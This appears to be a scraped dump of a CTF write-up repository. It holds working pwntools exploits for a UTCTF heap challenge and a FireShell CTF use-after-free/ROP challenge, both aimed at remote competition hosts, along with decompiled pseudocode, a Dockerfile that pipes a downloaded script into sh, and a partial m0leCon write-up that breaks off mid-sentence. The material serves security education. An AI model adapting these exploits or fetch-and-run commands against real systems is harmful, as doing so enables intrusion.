https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/screens/bp_validation.png -------------------------------------------------------------------------------- /2019/TAMUctf 19/pwn6/screens/heap_layout.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/screens/heap_layout.png -------------------------------------------------------------------------------- /2019/TAMUctf 19/pwn6/screens/konata.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/screens/konata.png -------------------------------------------------------------------------------- /2019/TAMUctf 19/pwn6/screens/process_msg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/screens/process_msg.png -------------------------------------------------------------------------------- /2019/TAMUctf 19/pwn6/screens/server_main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/screens/server_main.png -------------------------------------------------------------------------------- /2019/TAMUctf 19/pwn6/screens/shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/screens/shell.png -------------------------------------------------------------------------------- /2019/TAMUctf 19/pwn6/screens/stack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/screens/stack.png -------------------------------------------------------------------------------- /2019/TAMUctf 19/pwn6/server: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/TAMUctf 19/pwn6/server -------------------------------------------------------------------------------- /2019/UTCTF/Encryption Service/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | def bxor(s, b): 5 | res = '' 6 | for x in s: 7 | res += chr(ord(x) ^ b) 8 | return res 9 | 10 | 11 | def sxor(a, b): 12 | res = '' 13 | for x, y in zip(a, b): 14 | res += chr(ord(x) ^ ord(y)) 15 | return res 16 | 17 | 18 | def encrypt(pc, option, size, msg): 19 | pc.sendlineafter('>', '1') 20 | pc.sendlineafter('Choose an encryption option:', str(option)) 21 | if option not in [1, 2]: 22 | return 23 | pc.sendlineafter('How long is your message?', str(size)) 24 | if size == 0: 25 | return 26 | pc.sendlineafter('Please enter your message: ', msg) 27 | 28 | 29 | def remove(pc, index): 30 | pc.sendlineafter('>', '2') 31 | pc.sendlineafter('Enter the index of the message that you want to remove: ', str(index)) 32 | 33 | 34 | def view(pc): 35 | pc.sendlineafter('>', '3') 36 | 37 | 38 | def edit(pc, index, new_msg): 39 | pc.sendlineafter('>', '4') 40 | pc.sendlineafter('Enter the index of the message that you wish to edit', str(index)) 41 | pc.sendlineafter('Enter the new message', new_msg) 42 | 43 | 44 | def main(): 45 | libc = ELF('./libc-2.23.so') 46 | 47 | pc = remote('stack.overflow.fail', 9004) 48 | 49 | pc.sendlineafter('What is your user id?', str(0x70)) 50 | 51 | encrypt(pc, 2, 0x100, 'AAAA') 52 | encrypt(pc, 2, 0x60, 'BBBB') 53 | 54 | remove(pc, 0) 55 | 56 | encrypt(pc, 2, 0, '') 57 | 58 | view(pc) 59 | for _ in range(11): 60 | pc.recvline() 61 | main_arena = u64(bxor(pc.recvline()[12:-1], 0x70).ljust(8, '\x00')) 62 | libc_base = main_arena - 0x3c4d00 63 | binsh = libc_base + next(libc.search('/bin/sh')) 64 | system = libc_base + libc.symbols['system'] 65 | log.success('libc base @ ' + hex(libc_base)) 66 | 67 | encrypt(pc, 2, 0x20, 'A' * 0x20) 68 | remove(pc, 2) 69 | 70 | encrypt(pc, 3, 0, '') 71 | encrypt(pc, 3, 0, '') 72 | encrypt(pc, 3, 0, '') 73 | 74 | edit(pc, 2, p64(binsh) + p64(0) + p64(system) + p64(0)) 75 | edit(pc, 4, '') 76 | 77 | pc.interactive() 78 | 79 | 80 | if __name__ == '__main__': 81 | main() -------------------------------------------------------------------------------- /2019/UTCTF/Encryption Service/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/libc-2.23.so -------------------------------------------------------------------------------- /2019/UTCTF/Encryption Service/pseudocode.c: -------------------------------------------------------------------------------- 1 | int 2 | print_key(void) 3 | { 4 | return puts("OTP Encryption"); 5 | } 6 | 7 | int 8 | print_xor(void) 9 | { 10 | return puts("XOR Encryption"); 11 | } 12 | 13 | const char *__fastcall 14 | key_encrypt(__int64 msg, const char *skey) 15 | { 16 | const char *result; // rax 17 | int i; // [rsp+18h] [rbp-18h] 18 | size_t skey_len; // [rsp+20h] [rbp-10h] 19 | size_t key_len; // [rsp+28h] [rbp-8h] 20 | 21 | skey_len = strlen(skey); 22 | key_len = strlen(key); 23 | for ( i = 0; i < skey_len; ++i ) 24 | skey[i] ^= key[(i % key_len)]; 25 | result = &skey[skey_len]; 26 | skey[skey_len] = 0; 27 | return result; 28 | } 29 | 30 | const char *__fastcall 31 | xor_encrypt(__int64 msg, const char *key) 32 | { 33 | const char *result; // rax 34 | char byte; // [rsp+13h] [rbp-Dh] 35 | int i; // [rsp+14h] [rbp-Ch] 36 | size_t key_len; // [rsp+18h] [rbp-8h] 37 | 38 | byte = user_id; 39 | key_len = strlen(key); 40 | for ( i = 0; i < key_len; ++i ) 41 | key[i] = byte ^ *(i + msg); 42 | result = &key[key_len]; 43 | key[key_len] = 0; 44 | return result; 45 | } 46 | 47 | unsigned __int64 48 | edit_encrypted_message(void) 49 | { 50 | int index; // [rsp+4h] [rbp-1Ch] 51 | __int128 msg; // [rsp+8h] [rbp-18h] 52 | unsigned __int64 v3; // [rsp+18h] [rbp-8h] 53 | 54 | v3 = __readfsqword(0x28u); 55 | puts("Enter the index of the message that you wish to edit"); 56 | __isoc99_scanf("%d%*c", &index); 57 | if ( index >= 0 && index <= 19 && information[index] ) 58 | { 59 | msg = *information[index]; 60 | puts("Enter the new message"); 61 | fgets(msg, *(information[index] + 36), stdin); 62 | (*(information[index] + 16))(msg, *(&msg + 1)); 63 | } 64 | else 65 | { 66 | puts("Invalid index"); 67 | } 68 | return __readfsqword(0x28u) ^ v3; 69 | } 70 | 71 | int 72 | print_menu(void) 73 | { 74 | puts("Welcome to Encryption as a Service!\n What would you like to do?"); 75 | puts("1. Encrypt message"); 76 | puts("2. Remove Encrypted Message"); 77 | puts("3. View Encrypted Message"); 78 | puts("4. Edit Encrypted Message"); 79 | puts("5. Exit"); 80 | return putchar(62); 81 | } 82 | 83 | int 84 | print_encryption_menu(void) 85 | { 86 | puts("Choose an encryption option:"); 87 | puts("1. OTP"); 88 | puts("2. XOR"); 89 | return putchar(62); 90 | } 91 | 92 | signed __int64 93 | find_index(void) 94 | { 95 | signed int i; // [rsp+0h] [rbp-4h] 96 | 97 | for ( i = 0; i <= 19; ++i ) 98 | { 99 | if ( !information[i] || *(information[i] + 32) ) 100 | return i; 101 | } 102 | return 0xFFFFFFFFLL; 103 | } 104 | 105 | __int64 106 | create_info(void) 107 | { 108 | __int64 result; // rax 109 | int index; // [rsp+Ch] [rbp-4h] 110 | 111 | index = find_index(); 112 | if ( index == -1 ) 113 | { 114 | puts("You've reached the maximum number of messages that you can store."); 115 | result = 0LL; 116 | } 117 | else 118 | { 119 | if ( !information[index] ) 120 | information[index] = malloc(0x28uLL); 121 | *(information[index] + 32) = 0; 122 | result = information[index]; 123 | } 124 | return result; 125 | } 126 | 127 | int 128 | view_messages(void) 129 | { 130 | __int64 info; // rax 131 | signed int i; // [rsp+Ch] [rbp-4h] 132 | 133 | for ( i = 0; i <= 19; ++i ) 134 | { 135 | info = information[i]; 136 | if ( info ) 137 | { 138 | LODWORD(info) = *(information[i] + 32); 139 | if ( !info ) 140 | { 141 | printf("Message #%d\n", i); 142 | (*(information[i] + 24))(); 143 | printf("Plaintext: %s\n", *information[i]); 144 | LODWORD(info) = printf("Ciphertext: %s\n", *(information[i] + 8)); 145 | } 146 | } 147 | } 148 | return info; 149 | } 150 | 151 | unsigned __int64 152 | encrypt_string(void) 153 | { 154 | int option; // [rsp+8h] [rbp-28h] 155 | char info[12]; // [rsp+Ch] [rbp-24h] 156 | char *msg; // [rsp+18h] [rbp-18h] 157 | void *key; // [rsp+20h] [rbp-10h] 158 | unsigned __int64 canary; // [rsp+28h] [rbp-8h] 159 | 160 | canary = __readfsqword(0x28u); 161 | print_encryption_menu(); 162 | __isoc99_scanf("%d%*c", &option); 163 | *&info[4] = create_info(); 164 | if ( *&info[4] ) 165 | { 166 | if ( option == 1 ) 167 | { 168 | *(*&info[4] + 16LL) = key_encrypt; 169 | *(*&info[4] + 24LL) = print_key; 170 | } 171 | else 172 | { 173 | if ( option != 2 ) 174 | { 175 | puts("Not a valid choice"); 176 | return __readfsqword(0x28u) ^ canary; 177 | } 178 | *(*&info[4] + 16LL) = xor_encrypt; 179 | *(*&info[4] + 24LL) = print_xor; 180 | } 181 | printf("How long is your message?\n>", &option); 182 | __isoc99_scanf("%d%*c", info); 183 | *(*&info[4] + 36LL) = ++*info; 184 | msg = malloc(*info); 185 | printf("Please enter your message: ", info); 186 | fgets(msg, *info, stdin); 187 | **&info[4] = msg; 188 | key = malloc(*info); 189 | *(*&info[4] + 8LL) = key; 190 | (*(*&info[4] + 16LL))(msg, key); // interesting call 191 | printf("Your encrypted message is: %s\n", key); 192 | } 193 | return __readfsqword(0x28u) ^ canary; 194 | } 195 | 196 | unsigned __int64 197 | remove_encrypted_string(void) 198 | { 199 | int index; // [rsp+4h] [rbp-Ch] 200 | unsigned __int64 v2; // [rsp+8h] [rbp-8h] 201 | 202 | v2 = __readfsqword(0x28u); 203 | printf("Enter the index of the message that you want to remove: "); 204 | __isoc99_scanf("%d%*c", &index); 205 | if ( index >= 0 && index <= 19 && information[index] && *(information[index] + 32) != 1 ) 206 | { 207 | *(information[index] + 32) = 1; 208 | free(*information[index]); 209 | free(*(information[index] + 8)); 210 | } 211 | else 212 | { 213 | puts("Not a valid index."); 214 | } 215 | return __readfsqword(0x28u) ^ v2; 216 | } 217 | 218 | int __cdecl 219 | main(int argc, const char **argv, const char **envp) 220 | { 221 | int choice; // [rsp+14h] [rbp-Ch] 222 | unsigned __int64 v5; // [rsp+18h] [rbp-8h] 223 | 224 | v5 = __readfsqword(0x28u); 225 | setbuf(stdin, 0LL); 226 | setbuf(stdout, 0LL); 227 | puts("What is your user id?"); 228 | __isoc99_scanf("%d%*c", &user_id); 229 | while ( 1 ) 230 | { 231 | print_menu(); 232 | __isoc99_scanf("%d%*c", &choice); 233 | switch ( choice ) 234 | { 235 | case 1: 236 | encrypt_string(); 237 | break; 238 | case 2: 239 | remove_encrypted_string(); 240 | break; 241 | case 3: 242 | view_messages(); 243 | break; 244 | case 4: 245 | edit_encrypted_message(); 246 | break; 247 | case 5: 248 | return 0; 249 | default: 250 | puts("Not a valid option"); 251 | break; 252 | } 253 | } 254 | } -------------------------------------------------------------------------------- /2019/UTCTF/Encryption Service/pwnable: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/pwnable -------------------------------------------------------------------------------- /2019/UTCTF/Encryption Service/screens/desc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/screens/desc.png -------------------------------------------------------------------------------- /2019/UTCTF/Encryption Service/screens/edit_encrypted_message.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/screens/edit_encrypted_message.png -------------------------------------------------------------------------------- /2019/UTCTF/Encryption Service/screens/encrypt_string.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/screens/encrypt_string.png -------------------------------------------------------------------------------- /2019/UTCTF/Encryption Service/screens/main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/screens/main.png -------------------------------------------------------------------------------- /2019/UTCTF/Encryption Service/screens/remove_encrypted_string.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/screens/remove_encrypted_string.png -------------------------------------------------------------------------------- /2019/UTCTF/Encryption Service/screens/start_service.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/screens/start_service.png -------------------------------------------------------------------------------- /2019/UTCTF/Encryption Service/screens/view_messages.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/UTCTF/Encryption Service/screens/view_messages.png -------------------------------------------------------------------------------- /2020/FireShellCTF/tmpfs/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN apt-get update 4 | # RUN apt-get upgrade -y 5 | RUN apt-get install xinetd libseccomp-dev python \ 6 | python-pip wget libbsd-dev gdb -y 7 | 8 | RUN pip install --upgrade pip 9 | RUN pip install pwntools 10 | RUN wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh 11 | 12 | RUN useradd -m tmpfs 13 | 14 | ADD --chown=root:root ./client /home/tmpfs/ 15 | ADD --chown=root:root ./server /home/tmpfs/ 16 | ADD --chown=root:root ./run.sh /home/tmpfs/ 17 | ADD --chown=root:root ./flag / 18 | ADD --chown=root:root xinetd /etc/xinetd.d/tmpfs 19 | 20 | RUN chmod +x /home/tmpfs/run.sh 21 | RUN chmod +x /home/tmpfs/client 22 | RUN chmod +x /home/tmpfs/server 23 | 24 | RUN chmod 744 /tmp 25 | RUN chmod -R 774 /var/tmp 26 | RUN chmod -R 774 /dev 27 | RUN chmod -R 774 /run 28 | RUN chmod 1733 /tmp /var/tmp /dev/shm 29 | 30 | RUN chown -R root:root /home/tmpfs/ 31 | 32 | EXPOSE 30047/tcp 33 | 34 | CMD ["/usr/sbin/xinetd", "-dontfork"] 35 | 36 | -------------------------------------------------------------------------------- /2020/FireShellCTF/tmpfs/README.md: -------------------------------------------------------------------------------- 1 | # FireShell CTF 2020 2 | 3 | ## Temporary File System Storage 4 | 5 | ## Information 6 | 7 | **Category** | **Points** | **Solves** | **Writeup Author** 8 | --- | --- | --- | --- 9 | PWN | 500 | 0 | [konata](https://github.com/merrychap) 10 | 11 | **Description:** 12 | 13 | >I have wrote an on-demand file storage service, where people may host their "files" temporarily, it works pretty >well and I doubt there are vulnerabilities :) 14 | >Machine: Ubuntu 18.04 LTS 15 | >You need to always start the server first (when testing locally), enjoy! 16 | >Flag is on /flag 17 | >Server: 142.93.113.55 18 | >Port: 31090 19 | 20 | 21 | **Files:** 22 | 23 | [client](./client) 24 | 25 | [client.remote](./client.remote) 26 | 27 | [server](./server) 28 | 29 | [libc](./libc-2.23.so) 30 | 31 | ## General information 32 | 33 | Little note: I was not able to solve that task in time of ctf and finished it several hours later. Enjoy. Maybe I will add more details in the near future :) 34 | 35 | TL;DR. After the crazy reverse part of this challenge (which will not be covered here, heh) it can be noticed that the client has some kind of cache of recenty created files (up to 3). This cache is just and an array of 3 pointers to recently opened files (that are allocated on heap). When 4th file is created, the client clears the cache and leaves pointers to file structs in the cache without zeroing them. It leads to UAF bug and further ROP chain execution. 36 | 37 | ## Exploit 38 | 39 | ```python 40 | import random 41 | import string 42 | 43 | from pwn import * 44 | 45 | 46 | def create_file(pc, filename, format, content=''): 47 | pc.sendlineafter('[*] 2 - Edit File', '0') 48 | pc.sendlineafter(':', filename) 49 | pc.sendlineafter(':', format) 50 | pc.sendlineafter(':', str(len(content))) 51 | if len(content) != 0: 52 | pc.sendafter(':', content) 53 | 54 | 55 | def delete_file(pc): 56 | pc.sendlineafter('[*] 2 - Edit File', '1') 57 | 58 | 59 | def edit_file(pc, filename, format): 60 | pc.sendlineafter('[*] 2 - Edit File', '2') 61 | pc.sendlineafter(':', filename) 62 | pc.sendlineafter(':', format) 63 | 64 | 65 | def edit_file_update_content(pc, content=''): 66 | pc.sendlineafter('[*] 3 - Exit file editor', '0') 67 | pc.sendlineafter(':', str(len(content))) 68 | if len(content) != 0: 69 | pc.send(content) 70 | 71 | 72 | def edit_file_change_display_format(pc, df): 73 | pc.sendlineafter('[*] 3 - Exit file editor', '1') 74 | pc.sendlineafter('[*] 1 - HEXDUMP:', str(df)) 75 | 76 | 77 | def edit_file_display_content(pc): 78 | pc.sendlineafter('[*] 3 - Exit file editor', '2') 79 | 80 | 81 | def edit_file_exit_file_editor(pc): 82 | pc.sendlineafter('[*] 3 - Exit file editor', '3') 83 | 84 | 85 | def create_req( 86 | print_fn=0, 87 | filename='', 88 | filename_len=0, 89 | fileformat='', 90 | fileformat_len=0, 91 | data=0, 92 | data_size=0 93 | ): 94 | req = ''.join([ 95 | p64(print_fn), 96 | filename.ljust(100, '\x00'), 97 | p32(0), 98 | p64(filename_len), 99 | fileformat.ljust(16, '\x00'), 100 | p64(fileformat_len), 101 | p64(data), 102 | p64(data_size) 103 | ]) 104 | 105 | return req 106 | 107 | 108 | def random_string(length=10): 109 | letters = string.ascii_lowercase 110 | return ''.join(random.choice(letters) for i in range(length)) 111 | 112 | 113 | def main(): 114 | client = remote('142.93.113.55', 31090) 115 | 116 | create_file(client, 'AAAA', 'AAAA') 117 | log.info('create req struct with data_len = 0, it leads to heap leak') 118 | edit_file(client, 'AAAA', 'AAAA') 119 | edit_file_display_content(client) 120 | 121 | client.recvline() 122 | heap = u64(client.recvline()[17:-1].ljust(8, '\x00')) 123 | log.success('heap @ ' + hex(heap)) 124 | 125 | edit_file_exit_file_editor(client) 126 | 127 | create_file(client, 'BBBB', 'BBBB') 128 | create_file(client, 'CCCC', 'CCCC') 129 | 130 | create_file(client, 'DDDD', 'DDDD') 131 | log.info('clear cache and proceed with uaf') 132 | 133 | filename = '/flag\x00' 134 | server_req = (p8(4) + p32(0xdeadbeef) + p8(len(filename)) + filename).ljust(0x30, '\x00') 135 | 136 | req = create_req( 137 | print_fn=0x41414141, 138 | filename='FFFF' + p32(0) + server_req, 139 | filename_len=4, 140 | fileformat='FFFF', 141 | fileformat_len=4, 142 | data=heap+0x2bf0, 143 | data_size=0xa8 144 | ) 145 | create_file(client, 'EEEE', 'EEEE', req) 146 | log.info('alloc on existing req struct and overwrite it') 147 | 148 | edit_file(client, 'FFFF', 'FFFF') 149 | edit_file_change_display_format(client, 0) 150 | edit_file_display_content(client) 151 | log.info('leak code address from an existing req struct') 152 | 153 | client.recvline() 154 | 155 | code_base = u64(client.recvline()[17:-1].ljust(8, '\x00')) - 0x1f90 156 | 157 | write = code_base + 0x1760 158 | read = code_base + 0x1920 159 | 160 | mov_rdi_rsp = code_base + 0x5b10 161 | pop_rdi = code_base + 0x3236 162 | pop_rsi = code_base + 0x4b25 163 | pop_rdx = code_base + 0x5b24 164 | 165 | log.success('code base @ ' + hex(code_base)) 166 | log.success('write @ ' + hex(write)) 167 | log.success('read @ ' + hex(read)) 168 | 169 | rop = ''.join([ 170 | # write request to the server 171 | p64(pop_rdi), 172 | p64(3), 173 | p64(pop_rsi), 174 | p64(heap+0x2b50), 175 | p64(pop_rdx), 176 | p64(len(server_req)), 177 | p64(write), 178 | 179 | # read request from server 180 | p64(read), 181 | p64(pop_rdi), 182 | p64(1), 183 | p64(write) 184 | ]) 185 | 186 | log.info('rop size = {}'.format(len(rop))) 187 | 188 | pause() 189 | req = create_req( 190 | print_fn=mov_rdi_rsp, 191 | filename='DDDD' + p32(0) + rop, 192 | filename_len=4, 193 | fileformat='DDDD', 194 | fileformat_len=4, 195 | data=heap+0x2bf0+0x10, 196 | data_size=0xa8 197 | ) 198 | edit_file_update_content(client, req) 199 | edit_file_exit_file_editor(client) 200 | log.info('overwrite req struct with rop and execute "mov rsp, rdi"') 201 | 202 | edit_file(client, 'DDDD', 'DDDD') 203 | edit_file_display_content(client) 204 | log.info('enjoying the flag :)') 205 | 206 | client.interactive() 207 | 208 | 209 | if __name__ == '__main__': 210 | main() 211 | ``` 212 | 213 |

214 | 215 |

216 | 217 | > Flag: F#{45a7f65bfbba8d5924becfa04e5d139c7098820a} 218 | -------------------------------------------------------------------------------- /2020/FireShellCTF/tmpfs/client: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2020/FireShellCTF/tmpfs/client -------------------------------------------------------------------------------- /2020/FireShellCTF/tmpfs/client.remote: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2020/FireShellCTF/tmpfs/client.remote -------------------------------------------------------------------------------- /2020/FireShellCTF/tmpfs/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.2' 2 | services: 3 | tmpfs: 4 | cap_add: 5 | - SYS_PTRACE 6 | build: . 7 | restart: always 8 | ports: 9 | - "0.0.0.0:30047:30047" 10 | mem_limit: 64m -------------------------------------------------------------------------------- /2020/FireShellCTF/tmpfs/flag: -------------------------------------------------------------------------------- 1 | FLAG{testtesttesttesttest} -------------------------------------------------------------------------------- /2020/FireShellCTF/tmpfs/images/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2020/FireShellCTF/tmpfs/images/flag.png -------------------------------------------------------------------------------- /2020/FireShellCTF/tmpfs/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | exec 2>/dev/null 3 | /home/tmpfs/server & 4 | timeout -k 5 30 /home/tmpfs/client -------------------------------------------------------------------------------- /2020/FireShellCTF/tmpfs/server: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2020/FireShellCTF/tmpfs/server -------------------------------------------------------------------------------- /2020/FireShellCTF/tmpfs/tmpfs.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | 4 | from pwn import * 5 | 6 | 7 | def create_file(pc, filename, format, content=''): 8 | pc.sendlineafter('[*] 2 - Edit File', '0') 9 | pc.sendlineafter(':', filename) 10 | pc.sendlineafter(':', format) 11 | pc.sendlineafter(':', str(len(content))) 12 | if len(content) != 0: 13 | pc.sendafter(':', content) 14 | 15 | 16 | def delete_file(pc): 17 | pc.sendlineafter('[*] 2 - Edit File', '1') 18 | 19 | 20 | def edit_file(pc, filename, format): 21 | pc.sendlineafter('[*] 2 - Edit File', '2') 22 | pc.sendlineafter(':', filename) 23 | pc.sendlineafter(':', format) 24 | 25 | 26 | def edit_file_update_content(pc, content=''): 27 | pc.sendlineafter('[*] 3 - Exit file editor', '0') 28 | pc.sendlineafter(':', str(len(content))) 29 | if len(content) != 0: 30 | pc.send(content) 31 | 32 | 33 | def edit_file_change_display_format(pc, df): 34 | pc.sendlineafter('[*] 3 - Exit file editor', '1') 35 | pc.sendlineafter('[*] 1 - HEXDUMP:', str(df)) 36 | 37 | 38 | def edit_file_display_content(pc): 39 | pc.sendlineafter('[*] 3 - Exit file editor', '2') 40 | 41 | 42 | def edit_file_exit_file_editor(pc): 43 | pc.sendlineafter('[*] 3 - Exit file editor', '3') 44 | 45 | 46 | def create_req( 47 | print_fn=0, 48 | filename='', 49 | filename_len=0, 50 | fileformat='', 51 | fileformat_len=0, 52 | data=0, 53 | data_size=0 54 | ): 55 | req = ''.join([ 56 | p64(print_fn), 57 | filename.ljust(100, '\x00'), 58 | p32(0), 59 | p64(filename_len), 60 | fileformat.ljust(16, '\x00'), 61 | p64(fileformat_len), 62 | p64(data), 63 | p64(data_size) 64 | ]) 65 | 66 | return req 67 | 68 | 69 | def random_string(length=10): 70 | letters = string.ascii_lowercase 71 | return ''.join(random.choice(letters) for i in range(length)) 72 | 73 | 74 | def main(): 75 | client = remote('142.93.113.55', 31090) 76 | # client = remote('localhost', 30047) 77 | 78 | create_file(client, 'AAAA', 'AAAA') 79 | log.info('create req struct with data_len = 0, it leads to heap leak') 80 | edit_file(client, 'AAAA', 'AAAA') 81 | edit_file_display_content(client) 82 | 83 | client.recvline() 84 | heap = u64(client.recvline()[17:-1].ljust(8, '\x00')) 85 | log.success('heap @ ' + hex(heap)) 86 | 87 | edit_file_exit_file_editor(client) 88 | 89 | create_file(client, 'BBBB', 'BBBB') 90 | create_file(client, 'CCCC', 'CCCC') 91 | 92 | create_file(client, 'DDDD', 'DDDD') 93 | log.info('clear cache and proceed with uaf') 94 | 95 | filename = '/flag\x00' 96 | server_req = (p8(4) + p32(0xdeadbeef) + p8(len(filename)) + filename).ljust(0x30, '\x00') 97 | 98 | req = create_req( 99 | print_fn=0x41414141, 100 | filename='FFFF' + p32(0) + server_req, 101 | filename_len=4, 102 | fileformat='FFFF', 103 | fileformat_len=4, 104 | data=heap+0x2bf0, 105 | data_size=0xa8 106 | ) 107 | create_file(client, 'EEEE', 'EEEE', req) 108 | log.info('alloc on existing req struct and overwrite it') 109 | 110 | edit_file(client, 'FFFF', 'FFFF') 111 | edit_file_change_display_format(client, 0) 112 | edit_file_display_content(client) 113 | log.info('leak code address from an existing req struct') 114 | 115 | client.recvline() 116 | 117 | code_base = u64(client.recvline()[17:-1].ljust(8, '\x00')) - 0x1f90 118 | 119 | write = code_base + 0x1760 120 | read = code_base + 0x1920 121 | 122 | mov_rdi_rsp = code_base + 0x5b10 123 | pop_rdi = code_base + 0x3236 124 | pop_rsi = code_base + 0x4b25 125 | pop_rdx = code_base + 0x5b24 126 | 127 | log.success('code base @ ' + hex(code_base)) 128 | log.success('write @ ' + hex(write)) 129 | log.success('read @ ' + hex(read)) 130 | 131 | rop = ''.join([ 132 | # write request to the server 133 | p64(pop_rdi), 134 | p64(3), 135 | p64(pop_rsi), 136 | p64(heap+0x2b50), 137 | p64(pop_rdx), 138 | p64(len(server_req)), 139 | p64(write), 140 | 141 | # read request from server 142 | p64(read), 143 | p64(pop_rdi), 144 | p64(1), 145 | p64(write) 146 | ]) 147 | 148 | log.info('rop size = {}'.format(len(rop))) 149 | 150 | pause() 151 | req = create_req( 152 | print_fn=mov_rdi_rsp, 153 | filename='DDDD' + p32(0) + rop, 154 | filename_len=4, 155 | fileformat='DDDD', 156 | fileformat_len=4, 157 | data=heap+0x2bf0+0x10, 158 | data_size=0xa8 159 | ) 160 | edit_file_update_content(client, req) 161 | edit_file_exit_file_editor(client) 162 | log.info('overwrite req struct with rop and execute "mov rsp, rdi"') 163 | 164 | edit_file(client, 'DDDD', 'DDDD') 165 | edit_file_display_content(client) 166 | log.info('enjoying the flag :)') 167 | 168 | client.interactive() 169 | 170 | 171 | if __name__ == '__main__': 172 | main() -------------------------------------------------------------------------------- /2020/FireShellCTF/tmpfs/xinetd: -------------------------------------------------------------------------------- 1 | service tmpfs 2 | { 3 | disable = no 4 | type = UNLISTED 5 | wait = no 6 | server = /home/tmpfs/run.sh 7 | socket_type = stream 8 | protocol = tcp 9 | user = tmpfs 10 | port = 30047 11 | flags = REUSE 12 | instances = 20 13 | per_source = 5 14 | rlimit_cpu = 3 15 | nice = 18 16 | } 17 | -------------------------------------------------------------------------------- /2020/m0leCon/fakev/README.md: -------------------------------------------------------------------------------- 1 | # m0leCon CTF 2020 Teaser 2 | 3 | ## fakev 4 | 5 | This challenge was solved by [@korniltsev](https://ctftime.org/user/54962), [@mostobriv](https://ctftime.org/user/25913), [@n00bie](https://ctftime.org/user/50936) and me (on behalf of [Corrupted Pwnis](https://ctftime.org/team/87386)). 6 | 7 | Writeup will not be super detailed, but rather brief overview of the solution. 8 | 9 | `fakev` service allows us to open up to 9 files which are organized into a linked list of the following structure: 10 | 11 | ```cpp 12 | struct node_t { 13 | FILE *file; 14 | struct node_t *next; 15 | }; 16 | ``` 17 | 18 | Where `file` is a pointer into the file structure of the corresponding file. Also, we're able to close and read content of these files (write isn't implemented). 19 | 20 | Basically, there are 2 vulns. The first one is UAF in reading file content (we can read the file content of the already closed file). The second one is placed inside of `add` function. When we create 9th file, service allocates new `struct node_t` for this file, but doesn't use it. Instead, it assigns stack address into `next` field of the previously opened file: 21 | 22 | ```cpp 23 | new_node = (node_t *)malloc(0x10uLL); 24 | if ( !new_node ) 25 | { 26 | perror("Couldn't alloc"); 27 | exit(1); 28 | } 29 | node->next = (node_t *)&stack; // set next to stack 30 | node->next->file = (_QWORD *)fp; 31 | node->next->next = 0LL; 32 | ``` 33 | 34 | If we can control stack value, then we're able to change `next` into controlled `struct node_t` with controlled `file` field. In `get_int` function input that user supplies is then saved into the global variable (address of this variable is known because of disabled `PIE`). 35 | 36 | Hence, attack vector is the next: 37 | 38 | 1. Leak libc address (will be explained below) 39 | 2. Change `next` field of the last opened file with the controlled one (already explained) 40 | 3. Point `file` into global variable which is controlled (already explained) 41 | 4. Call `fclose` on the `fake file` and get the shell (will be explained below). 42 | 43 | The rest we need to do is to leak libc address and hijack the control flow when `fclose` is called on the fake file struct. Libc leaking can 